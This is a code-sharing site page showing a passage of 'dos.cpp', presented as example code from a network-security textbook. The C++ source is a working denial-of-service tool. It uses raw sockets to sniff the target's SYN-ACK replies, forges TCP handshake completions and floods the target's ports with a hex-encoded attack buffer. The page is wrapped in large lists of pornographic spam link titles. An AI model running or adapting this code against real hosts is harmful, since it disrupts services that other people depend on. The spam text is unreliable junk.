亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? dos.cpp

?? “網絡安全技術實踐與代碼詳解”實例代碼
?? CPP
?? 第 1 頁 / 共 2 頁
字號:
                {
                    sendnum=0;
                }
                if (rect==SOCKET_ERROR)
                { 
                    printf("send error!:%x\n",WSAGetLastError());
                    return false;
                }
                else
				{
					printf("    Attack target from port %d \n", l);
				}
            }//end of while
            Sleep(Interval);  
        }
        pAtObj = pAtObj->Next;
    }
    return 0;
}

// 獲取本地IP
DWORD GetLocalIP()
{
    DWORD dwIP=0;
    int i=0;
    struct hostent* lp = NULL;
    char HostName[255] = {0};
    gethostname(HostName,255);
    lp = gethostbyname (HostName);
    while ( lp->h_addr_list[i] != NULL )
        i++;
    dwIP = *(DWORD*)lp->h_addr_list[--i];
    return dwIP;
}
// 計算校驗和
USHORT checksum(USHORT *buffer, int size) 
{ 
    unsigned long cksum=0;
    while(size >1) 
    {
        cksum+=*buffer++;
        size -=sizeof(USHORT);
    }
    if(size)
    {
        cksum += *(UCHAR*)buffer; 
    }
    cksum = (cksum >> 16) + (cksum & 0xffff); 
    cksum += (cksum >>16);
    return (USHORT)(~cksum);
}

// 監聽線程函數
DWORD   WINAPI  ListeningFunc(LPVOID lpvoid)
{
    SOCKET rawsock;
    SOCKADDR_IN addr_in={0};
	// 創建原始套接字
    if ((rawsock=socket(AF_INET,SOCK_RAW,IPPROTO_IP))==INVALID_SOCKET)
    {
        printf("Sniffer Socket Setup Error!\n");
        return false;
    }
	// 設置本地地址結構
    addr_in.sin_family=AF_INET;
    addr_in.sin_port=htons(8288); 
    addr_in.sin_addr.S_un.S_addr= (DWORD)lpvoid;
    //對rawsock綁定本機IP和端口
    int ret=bind(rawsock, (struct sockaddr *)&addr_in, sizeof(addr_in));
    if(ret==SOCKET_ERROR)
    {
        printf("bind failed: %d\n",WSAGetLastError());
        exit(0);
    }
    DWORD lpvBuffer = 1; 
    DWORD lpcbBytesReturned = 0;
	// 設置原始套接字相關參數
    WSAIoctl(rawsock, SIO_RCVALL, 
		&lpvBuffer, sizeof(lpvBuffer), 
		NULL, 0, &lpcbBytesReturned, 
		NULL, NULL); 
    while (TRUE)
    {
        SOCKADDR_IN from={0};
        int  size=sizeof(from);
        char RecvBuf[256]={0};
        //接收數據包
        ret=recvfrom(rawsock,RecvBuf,
			sizeof(RecvBuf),0,
			(struct sockaddr*)&from,&size);
        if(ret!=SOCKET_ERROR)
        {
            // 分析數據包
            IPHEADER *lpIPheader;
            lpIPheader=(IPHEADER *)RecvBuf;
			// 判斷數據包的類型是否是TCP和源地址是否與目標機IP一致
            if (lpIPheader->proto==IPPROTO_TCP && lpIPheader->sourceIP == inet_addr(TargetIP) )
            {
            
                TCPHEADER *lpTCPheader=(TCPHEADER*)(RecvBuf+sizeof(IPHEADER));
                //判斷是不是遠程開放端口返回的數據包
                if ( lpTCPheader->th_flag==0x12)
                {
                    if ( lpTCPheader->th_ack == htonl(0x00198289) )
                    {//偽造第3次握手
                        SendData(lpTCPheader->th_ack,htonl(ntohl(lpTCPheader->th_seq)+1), \
                        lpTCPheader->th_dport,lpTCPheader->th_sport,lpIPheader->destIP,lpIPheader->sourceIP,NULL,FALSE,0);
                        //主動發出一次數據
                        SendData(lpTCPheader->th_ack,htonl(ntohl(lpTCPheader->th_seq)+1), \
                        lpTCPheader->th_dport,lpTCPheader->th_sport,lpIPheader->destIP,lpIPheader->sourceIP,psend,TRUE,len);
                    }
                
                }
                else
                {
                    if ( lpTCPheader->th_flag == 0x10 )
                    //繼續發送數據
                    SendData(lpTCPheader->th_ack,lpTCPheader->th_seq,\
                    lpTCPheader->th_dport,lpTCPheader->th_sport,lpIPheader->destIP,lpIPheader->sourceIP,psend,TRUE,len);
                }

            }            
            
        }
    }     // end of while

}

// 發送數據包函數
void SendData(DWORD SEQ, DWORD ACK, USHORT SPort, USHORT APort, DWORD SIP, DWORD AIP, char* pBuf, BOOL Isdata,DWORD dwSize)
{
   
    SOCKADDR_IN addr_in;
    IPHEADER ipHeader;
    TCPHEADER tcpHeader;
    PSDHEADER psdHeader;
     
    char szSendBuf[1024]={0};
	// 設置地址結構
    addr_in.sin_family=AF_INET; 
    addr_in.sin_port = APort;
    addr_in.sin_addr.S_un.S_addr = AIP;
    // 填充IP首部
    ipHeader.h_verlen=(4<<4 | sizeof(ipHeader)/sizeof(unsigned long));
    ipHeader.tos=0;
    ipHeader.ident=1;
    ipHeader.frag_and_flags=0x0040;                
    ipHeader.ttl=0x80;         
    ipHeader.proto=IPPROTO_TCP;
    ipHeader.checksum=0;
    ipHeader.destIP=AIP;
    ipHeader.sourceIP = SIP;
    tcpHeader.th_dport = APort;
    tcpHeader.th_ack = ACK;   
    tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0);
    tcpHeader.th_seq= SEQ;
    tcpHeader.th_win=htons(0x4470);
    tcpHeader.th_sport=SPort;
    ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader)+dwSize);
    if ( !Isdata)
    {

        tcpHeader.th_flag=0x10;
    
    }//    ack   
    else
    {
        tcpHeader.th_flag=0x18;
    }
	// 填充偽首部
    tcpHeader.th_urp=0;
    psdHeader.daddr=ipHeader.destIP;
    psdHeader.mbz=0;
    psdHeader.ptcl=IPPROTO_TCP;
    psdHeader.tcpl=htons(sizeof(tcpHeader));    
    tcpHeader.th_sum=0;
    psdHeader.saddr=ipHeader.sourceIP;
    memcpy(szSendBuf, &psdHeader, sizeof(psdHeader)); 
    memcpy(szSendBuf+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader));
    if ( pBuf != NULL )
    {   
		// 重新計算校驗和
        memcpy(szSendBuf+sizeof(psdHeader)+sizeof(tcpHeader),pBuf,dwSize);
        tcpHeader.th_sum=checksum((USHORT *)szSendBuf,
			sizeof(psdHeader)+sizeof(tcpHeader)+dwSize); 
        tcpHeader.th_sum = htons(ntohs(tcpHeader.th_sum)-(USHORT)dwSize);
    }
    else
    {
		// 重新計算校驗和
        tcpHeader.th_sum=checksum((USHORT *)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader));
    }

    memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
    memcpy(szSendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader));
    int rect=0;
    if ( pBuf == NULL ) // 發送偽造數據包
        rect=sendto(sock, szSendBuf, 
		sizeof(ipHeader)+sizeof(tcpHeader), 0, 
		(struct sockaddr*)&addr_in, sizeof(addr_in));
    else
    {
        memcpy(szSendBuf+sizeof(ipHeader)+sizeof(tcpHeader), pBuf, dwSize);
        rect=sendto(sock, szSendBuf, 
			sizeof(ipHeader)+sizeof(tcpHeader)+dwSize, 
			0, (struct sockaddr*)&addr_in, sizeof(addr_in));
    }

    if (rect==SOCKET_ERROR)
    { 
        printf("send error!:%x\n",WSAGetLastError());
        return;
    }
    else    
    {
        if ( pBuf != NULL )
            printf("SendData ok %d\n",ntohs(SPort));
        else
            printf("                    SendAck ok %d\n",ntohs(SPort));
    }

}


// 轉換攻擊字符串格式
void ConvertOpt (CHAR* pu)
{
    int i=0 , lentemp;
    lentemp = strlen(pu);
	// 長度為輸入的字符串的1/2
    optlen = lentemp/2;
    outflowbuf = (UCHAR*)malloc(optlen);
    int k=0;
    for ( i = 0 ; i < lentemp ; i+=2 )
    {
        BYTE tempb = 0;
        tempb = pu[i+1];
		// 如果ANSI碼小于9則減去0x30,否則減去0x37
        if ( tempb < '9')
            tempb = tempb - 0x30;
        else
        {
            tempb = tempb - 0x37;
        }
        outflowbuf[k] = tempb;
        tempb = 0;
        tempb = pu[i];
        if ( tempb < '9')
            tempb = tempb - 0x30;
        else
        {
            tempb = tempb - 0x37;
        }
        // 移位操作
        tempb= tempb<<4;
        outflowbuf[k]+= tempb;
        k++;
    }
}

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
在线观看免费视频综合| 日韩精品一二三四| 日韩午夜激情免费电影| 91免费在线视频观看| 成人激情黄色小说| 成人高清视频在线观看| 99久久国产免费看| 91在线视频官网| 欧美性做爰猛烈叫床潮| 欧美妇女性影城| 精品三级在线观看| 国产日韩欧美精品在线| 国产精品无圣光一区二区| 综合色天天鬼久久鬼色| 亚洲精品成人悠悠色影视| 亚洲视频精选在线| 欧美在线视频你懂得| 久久久精品影视| 久久综合色天天久久综合图片| 日韩免费视频线观看| 日本一区二区三区视频视频| 中文字幕中文乱码欧美一区二区| 国产精品视频一二三| 亚洲精品精品亚洲| 日韩1区2区3区| 国产精品77777| 91麻豆精东视频| 日韩欧美国产午夜精品| 国产精品国产馆在线真实露脸 | 国产在线一区观看| 国产一区二区女| 色综合久久综合网欧美综合网| 欧美久久久久免费| 国产欧美日韩在线看| 亚洲精品自拍动漫在线| 激情图片小说一区| 91国偷自产一区二区使用方法| 欧美一区二区在线视频| 国产精品沙发午睡系列990531| 亚洲电影一区二区三区| 六月丁香综合在线视频| 9i看片成人免费高清| 一片黄亚洲嫩模| 国产成人8x视频一区二区| 91精品国产美女浴室洗澡无遮挡| 亚洲精品成人少妇| 欧美日韩国产综合一区二区| 石原莉奈在线亚洲二区| 91 com成人网| 国产一区视频网站| 欧美国产欧美亚州国产日韩mv天天看完整 | 精品国产乱码久久久久久免费| 亚洲精品中文字幕在线观看| 91看片淫黄大片一级| ...中文天堂在线一区| 2014亚洲片线观看视频免费| 亚洲午夜激情网页| 国产日韩欧美不卡在线| 日韩一区二区视频| 亚洲精品视频在线观看免费| 精品一区二区三区久久久| 成+人+亚洲+综合天堂| 欧美剧情片在线观看| 免费在线观看视频一区| 国产日韩综合av| 一区二区激情小说| 色老头久久综合| 国产成人在线视频播放| 一本到三区不卡视频| 国产精品欧美精品| av在线不卡免费看| 国产精品久久久久久一区二区三区| 国内精品免费**视频| 日韩欧美一区在线观看| 视频在线观看国产精品| 欧美精品久久天天躁| 日韩一二三区视频| 欧美色图第一页| 日本高清不卡在线观看| 国产成a人无v码亚洲福利| 成人中文字幕电影| 精品亚洲国内自在自线福利| 亚洲视频网在线直播| 欧美v日韩v国产v| 91精品国产色综合久久不卡蜜臀 | 成人综合在线网站| 亚洲人成精品久久久久久| 亚洲精品水蜜桃| 在线一区二区三区四区五区| 亚洲午夜电影在线观看| 91 com成人网| 国产v综合v亚洲欧| 亚洲欧美日韩电影| 8x8x8国产精品| 国产精品一区二区91| 国产精品日日摸夜夜摸av| 色综合久久久久综合体桃花网| 亚洲激情自拍视频| 777亚洲妇女| 国产成人一区在线| 亚洲综合网站在线观看| 欧美精品久久久久久久多人混战 | 久久影院午夜片一区| 国产不卡在线播放| 一区二区三区在线视频观看58 | 国产精品99久久久久久有的能看| 欧美国产一区二区在线观看| 色婷婷亚洲综合| 精品在线观看视频| 亚洲天堂av一区| 日韩欧美一区二区视频| 成人性生交大片免费看在线播放| 一区二区三区在线观看动漫| 日韩欧美一级精品久久| 日本久久精品电影| 韩日欧美一区二区三区| 亚洲精品视频在线观看网站| 精品福利一区二区三区免费视频| 97久久久精品综合88久久| 蜜乳av一区二区| 亚洲一区二区高清| 国产精品久久久久久久岛一牛影视| 91精品国产一区二区三区香蕉| 欧美色图在线观看| 成人污视频在线观看| 久久99久久久欧美国产| 一区二区三区丝袜| 国产欧美精品一区二区色综合朱莉| 欧美精品乱码久久久久久按摩| 99视频超级精品| 国产精品自产自拍| 精久久久久久久久久久| 午夜欧美视频在线观看| 亚洲激情网站免费观看| 国产欧美日韩麻豆91| 欧美成人激情免费网| 欧美高清www午色夜在线视频| 99视频有精品| 成人精品视频一区二区三区尤物| 亚洲自拍偷拍av| 欧美日韩不卡在线| 免费一区二区视频| 国产欧美精品日韩区二区麻豆天美| 粉嫩在线一区二区三区视频| 久久精品亚洲一区二区三区浴池| 成人免费的视频| 亚洲国产精品久久艾草纯爱| 国产亚洲欧美日韩日本| 色综合久久中文字幕| 麻豆极品一区二区三区| 日韩毛片视频在线看| 日韩欧美一区二区不卡| 91热门视频在线观看| 日韩av网站在线观看| 亚洲免费高清视频在线| 欧美极品美女视频| 亚洲欧洲精品一区二区三区| 欧美三级欧美一级| 欧美日韩国产另类不卡| 国产精品综合av一区二区国产馆| 日韩精品免费专区| 天堂成人国产精品一区| 亚洲一二三区在线观看| 3atv一区二区三区| 亚洲国产美女搞黄色| 国产精品欧美久久久久无广告| 欧美日韩国产综合一区二区三区| 91小宝寻花一区二区三区| 中文字幕不卡在线观看| 一本大道久久a久久综合| 久久九九久久九九| 91免费国产视频网站| 在线观看一区二区视频| 91精选在线观看| 久久先锋资源网| 国产精品家庭影院| 亚洲自拍偷拍av| 成人永久aaa| 欧美日韩免费视频| 日韩欧美一级二级| 国产精品三级电影| 三级在线观看一区二区| 国产一区二区主播在线| 波多野结衣中文字幕一区二区三区| 91老司机福利 在线| eeuss鲁片一区二区三区在线观看| 91网站最新地址| 欧美电影一区二区三区| 国产精品色噜噜| 麻豆国产精品官网| 欧美日韩视频在线第一区| 久久久影院官网| 国产欧美精品一区| 开心九九激情九九欧美日韩精美视频电影 | 成人黄色777网| 一本久久a久久精品亚洲| 欧美日高清视频| 国产精品日产欧美久久久久| 日韩黄色一级片| 色综合av在线|